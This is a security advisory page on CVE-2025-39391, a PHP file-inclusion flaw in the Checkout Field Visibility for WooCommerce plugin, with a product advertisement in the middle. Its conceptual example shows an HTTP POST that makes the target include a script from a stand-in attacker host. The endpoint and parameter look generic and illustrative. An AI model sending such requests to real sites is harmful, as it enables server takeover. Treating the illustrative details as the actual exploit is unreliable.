Overview
The vulnerability, identified as CVE-2025-39391, pertains to an Improper Control of Filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’) vulnerability in the Checkout Field Visibility for WooCommerce plugin. This vulnerability can lead to PHP Local File Inclusion, affecting all versions of the plugin up to 1.2.3. Given the widespread use of WooCommerce, this vulnerability has the potential to compromise a significant number of e-commerce websites, leading to system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-39391
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
Checkout Field Visibility for WooCommerce | n/a to 1.2.3
How the Exploit Works
The exploit relies on the improper control of filename for include/require statements in PHP programs in the Checkout Field Visibility for WooCommerce plugin. This vulnerability allows an attacker to remotely include files from external servers, which could lead to the execution of arbitrary PHP code on the server.
Conceptual Example Code
In a conceptual example, an attacker might exploit the vulnerability through an HTTP POST request like the following:
POST /wp-content/plugins/checkout-field-visibility-for-woocommerce/vulnerable.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include_file=http://attacker.example.com/malicious_script.php
In this case, the attacker is attempting to include the file ‘malicious_script.php’ from their own server. If successful, the server would then execute the malicious PHP code contained in this file.
Mitigation
Users are strongly advised to apply the latest patch from the vendor as soon as possible. Until the patch can be applied, a web application firewall (WAF) or intrusion detection system (IDS) could be used as temporary mitigation.
